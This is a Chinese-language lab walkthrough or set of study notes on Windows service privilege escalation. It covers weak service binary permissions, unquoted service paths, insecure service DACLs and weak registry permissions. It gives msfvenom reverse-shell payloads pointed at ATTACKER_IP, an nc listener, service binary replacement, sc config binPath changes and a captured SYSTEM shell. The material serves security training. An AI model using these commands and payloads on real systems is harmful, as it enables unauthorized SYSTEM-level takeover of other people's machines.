Windows 服务由服务控制管理器(SCM)管理。SCM 是一个负责根据需要管理服务状态、检查任何给定服务的当前状态并通常提供配置服务的方法的过程。

Windows 机器上的每个服务都将有一个关联的可执行文件,每当服务启动时,该可执行文件将由 SCM 运行。重要的是要注意服务可执行文件实现特殊功能以便能够与 SCM 通信,因此任何可执行文件都不能作为服务成功启动。每项服务还指定服务将在其下运行的用户帐户。 我们可以使用 <font style="color:rgb(33, 37, 41);">sc qc</font>检查特定服务:
  1. C:\> sc qc apphostsvc
  2. [SC] QueryServiceConfig SUCCESS
  3. SERVICE_NAME: apphostsvc
  4. TYPE : 20 WIN32_SHARE_PROCESS
  5. START_TYPE : 2 AUTO_START
  6. ERROR_CONTROL : 1 NORMAL
  7. BINARY_PATH_NAME : C:\Windows\system32\svchost.exe -k apphost
  8. LOAD_ORDER_GROUP :
  9. TAG : 0
  10. DISPLAY_NAME : Application Host Helper Service
  11. DEPENDENCIES :
  12. SERVICE_START_NAME : localSystem

服务可执行文件的不安全权限

如果与服务关联的可执行文件具有允许攻击者修改或替换它的弱权限,则攻击者可以轻而易举地获得服务帐户的特权
  1. C:\> sc qc WindowsScheduler
  2. [SC] QueryServiceConfig SUCCESS
  3. SERVICE_NAME: windowsscheduler
  4. TYPE : 10 WIN32_OWN_PROCESS
  5. START_TYPE : 2 AUTO_START
  6. ERROR_CONTROL : 0 IGNORE
  7. BINARY_PATH_NAME : C:\PROGRA~2\SYSTEM~1\WService.exe
  8. LOAD_ORDER_GROUP :
  9. TAG : 0
  10. DISPLAY_NAME : System Scheduler Service
  11. DEPENDENCIES :
  12. SERVICE_START_NAME : .\svcuser1
我们可以看到存在漏洞的软件安装的服务运行为svcuser1,与该服务关联的可执行文件位于C:\Progra~2\System~1\WService.exe. 然后我们继续检查可执行文件的权限:
  1. C:\Users\thm-unpriv>icacls C:\PROGRA~2\SYSTEM~1\WService.exe
  2. C:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M)
  3. NT AUTHORITY\SYSTEM:(I)(F)
  4. BUILTIN\Administrators:(I)(F)
  5. BUILTIN\Users:(I)(RX)
  6. APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
  7. APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
  8. Successfully processed 1 files; Failed processing 0 files
在这里我们有一些有趣的事情。Everyone 组对服务的可执行文件具有修改权限 (M)。这意味着我们可以简单地用我们偏好的任何有效载荷覆盖它,服务将以配置的用户帐户的权限执行它。 让我们使用 msfvenom 生成一个 exe-service payload 并通过 python 网络服务器提供它:
  1. user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe
  2. user@attackerpc$ python3 -m http.server
  3. Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
有效负载位于 Windows 服务器中后,我们将继续用我们的有效负载替换服务可执行文件。因为我们需要另一个用户来执行我们的负载,所以我们也想授予 Everyone 组完全权限:
  1. C:\> cd C:\PROGRA~2\SYSTEM~1\
  2. C:\PROGRA~2\SYSTEM~1> move WService.exe WService.exe.bkp
  3. 1 file(s) moved.
  4. C:\PROGRA~2\SYSTEM~1> move C:\Users\thm-unpriv\rev-svc.exe WService.exe
  5. 1 file(s) moved.
  6. C:\PROGRA~2\SYSTEM~1> icacls WService.exe /grant Everyone:F
  7. Successfully processed 1 files.

然后我们重新启动服务

  1. C:\> sc stop windowsscheduler
  2. C:\> sc start windowsscheduler

未引用的服务路径

  1. C:\> sc qc "disk sorter enterprise"
  2. [SC] QueryServiceConfig SUCCESS
  3. SERVICE_NAME: disk sorter enterprise
  4. TYPE : 10 WIN32_OWN_PROCESS
  5. START_TYPE : 2 AUTO_START
  6. ERROR_CONTROL : 0 IGNORE
  7. BINARY_PATH_NAME : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
  8. LOAD_ORDER_GROUP :
  9. TAG : 0
  10. DISPLAY_NAME : Disk Sorter Enterprise
  11. DEPENDENCIES :
  12. SERVICE_START_NAME : .\svcusr2

我们在这里发现文件执行路径为: C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe,Windows 对其解释可能未以下三种形式:

命令 参数1 参数2
C:\MyPrograms\Disk.exe Sorter Enterprise\bin\disksrs.exe
C:\MyPrograms\Disk Sorter.exe Enterprise\bin\disksrs.exe
C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe

这是因为在正常使用时,我们经常将空格作为参数的分割符导致的,那么 Windows 该如何运行呢?

  1. 首先,搜索C:\MyPrograms\Disk.exe。如果存在,该服务将运行此可执行文件。
  2. 如果后者不存在,它将搜索C:\\MyPrograms\Disk Sorter.exe. 如果存在,该服务将运行此可执行文件。
  3. 如果后者不存在,它将搜索C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe. 此选项预计会成功,并且通常会在默认安装中运行。

这时候我们可以上传一个文件到 C:\MyPrograms\Disk.exe 并对其附加权限

  1. C:\> move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe
  2. C:\> icacls C:\MyPrograms\Disk.exe /grant Everyone:F
  3. Successfully processed 1 files.

这时候如果服务重新启动就会执行我们的恶意文件

查找命令:

  1. C:\Users\Sage> wmic service get name,displayname,pathname,startmode | findstr /i auto | findstr /i /v "c:\windows\\" | findstr /i /v """

不安全的服务权限

如果服务的 DACL 允许我们修改服务的配置,那么我们可以重新配置该服务,这将会允许我们将任何可执行文件使用任何账户运行

要检查 DACL 我们可以使用Sysinternals 套件中的Accesschk

SERVICE_CHANGE_CONFIG

我们使用 accesschk 来查看 dsclsvc 服务对 user 的权限:

  1. C:\Users\user>C:\PrivEsc\accesschk.exe /accepteula -uwcqv user daclsvc
  2. RW daclsvc
  3. SERVICE_QUERY_STATUS
  4. SERVICE_QUERY_CONFIG
  5. SERVICE_CHANGE_CONFIG
  6. SERVICE_INTERROGATE
  7. SERVICE_ENUMERATE_DEPENDENTS
  8. SERVICE_START
  9. SERVICE_STOP
  10. READ_CONTROL

User 具有对该服务的 SERVICE_CHANGE_CONFIG 权限,我们查看该服务相关信息:

  1. C:\Users\user>sc qc daclsvc
  2. [SC] QueryServiceConfig SUCCESS
  3. SERVICE_NAME: daclsvc
  4. TYPE : 10 WIN32_OWN_PROCESS
  5. START_TYPE : 3 DEMAND_START
  6. ERROR_CONTROL : 1 NORMAL
  7. BINARY_PATH_NAME : "C:\Program Files\DACL Service\daclservice.exe"
  8. LOAD_ORDER_GROUP :
  9. TAG : 0
  10. DISPLAY_NAME : DACL Service
  11. DEPENDENCIES :
  12. SERVICE_START_NAME : LocalSystem

因为我们具有配置权限,所以我们可以修改该服务的二进制路径进行获取权限

  1. C:\Users\user>sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\""
  2. C:\Users\user>net start daclsvc

SERVICE_ALL_ACCESS

  1. C:\tools\AccessChk> accesschk64.exe -qlc thmservice
  2. [0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM
  3. SERVICE_QUERY_STATUS
  4. SERVICE_QUERY_CONFIG
  5. SERVICE_INTERROGATE
  6. SERVICE_ENUMERATE_DEPENDENTS
  7. SERVICE_PAUSE_CONTINUE
  8. SERVICE_START
  9. SERVICE_STOP
  10. SERVICE_USER_DEFINED_CONTROL
  11. READ_CONTROL
  12. [4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users
  13. SERVICE_ALL_ACCESS

在更改服务之前,让我们构建另一个 exe-service 反向 shell 并在攻击者的机器上为它启动一个监听器:

卡利Linux

  1. user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4447 -f exe-service -o rev-svc3.exe
  2. user@attackerpc$ nc -lvp 4447

然后我们将反向 shell 可执行文件传输到目标机器并将其存储在C:\Users\thm-unpriv\rev-svc3.exe. 随意使用 wget 传输您的可执行文件并将其移动到所需位置。请记住授予 Everyone 执行您的有效负载的权限:

命令提示符

  1. C:\> icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F

要更改服务关联的可执行文件和帐户,我们可以使用以下命令(使用 sc.exe 时请注意等号后的空格):

命令提示符

  1. C:\> sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem

请注意,我们可以使用任何帐户来运行该服务。我们选择 LocalSystem 是因为它是可用的最高特权帐户。要触发我们的有效载荷,剩下的就是重新启动服务:

命令提示符

  1. C:\> sc stop THMService
  2. C:\> sc start THMService

我们将在攻击者的机器上收到一个具有 SYSTEM 权限的 shell:

卡利Linux

  1. user@attackerpc$ nc -lvp 4447
  2. Listening on 0.0.0.0 4447
  3. Connection received on 10.10.175.90 50650
  4. Microsoft Windows [Version 10.0.17763.1821]
  5. (c) 2018 Microsoft Corporation. All rights reserved.
  6. C:\Windows\system32>whoami
  7. NT AUTHORITY\SYSTEM

弱注册表权限

我们使用 accesschk.exe 程序,来查看指定服务的注册表新

  1. C:\Users\user\Desktop>C:\PrivEsc\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc
  2. HKLM\System\CurrentControlSet\Services\regsvc
  3. Medium Mandatory Level (Default) [No-Write-Up]
  4. RW NT AUTHORITY\SYSTEM
  5. KEY_ALL_ACCESS
  6. RW BUILTIN\Administrators
  7. KEY_ALL_ACCESS
  8. RW NT AUTHORITY\INTERACTIVE
  9. KEY_ALL_ACCESS

我们可以查看该服务可由 RW NT AUTHORITY\INTERACTIVE组 (这个组是经过身份验证的用户)

我们可以通过覆盖 regsvc 的注册表项来进行修改

  1. C:\Users\user\Desktop>reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
  2. The operation completed successfully.

验证:

  1. C:\Users\user\Desktop>sc qc regsvc
  2. [SC] QueryServiceConfig SUCCESS
  3. SERVICE_NAME: regsvc
  4. TYPE : 10 WIN32_OWN_PROCESS
  5. START_TYPE : 3 DEMAND_START
  6. ERROR_CONTROL : 1 NORMAL
  7. BINARY_PATH_NAME : C:\PrivEsc\reverse.exe
  8. LOAD_ORDER_GROUP :
  9. TAG : 0
  10. DISPLAY_NAME : Insecure Registry Service
  11. DEPENDENCIES :
  12. SERVICE_START_NAME : LocalSystem

不安全的服务可执行文件

  1. C:\Users\user\Desktop>C:\PrivEsc\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"
  2. C:\Program Files\File Permissions Service\filepermservice.exe
  3. Medium Mandatory Level (Default) [No-Write-Up]
  4. RW Everyone
  5. FILE_ALL_ACCESS
  6. RW NT AUTHORITY\SYSTEM
  7. FILE_ALL_ACCESS
  8. RW BUILTIN\Administrators
  9. FILE_ALL_ACCESS
  10. RW WIN-QBA94KB3IOF\Administrator
  11. FILE_ALL_ACCESS
  12. RW BUILTIN\Users
  13. FILE_ALL_ACCESS

该服务是任何用户都可以进行修改,我们可以使用我们的恶意文件覆盖原始文件

  1. C:\Users\user\Desktop>copy C:\Users\user\Desktop\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe" /Y
  2. 1 file(s) copied.
  3. C:\Users\user\Desktop>sc qc filepermsvc
  4. [SC] QueryServiceConfig SUCCESS
  5. SERVICE_NAME: filepermsvc
  6. TYPE : 10 WIN32_OWN_PROCESS
  7. START_TYPE : 3 DEMAND_START
  8. ERROR_CONTROL : 1 NORMAL
  9. BINARY_PATH_NAME : "C:\Program Files\File Permissions Service\filepermservice.exe"
  10. LOAD_ORDER_GROUP :
  11. TAG : 0
  12. DISPLAY_NAME : File Permissions Service
  13. DEPENDENCIES :
  14. SERVICE_START_NAME : LocalSystem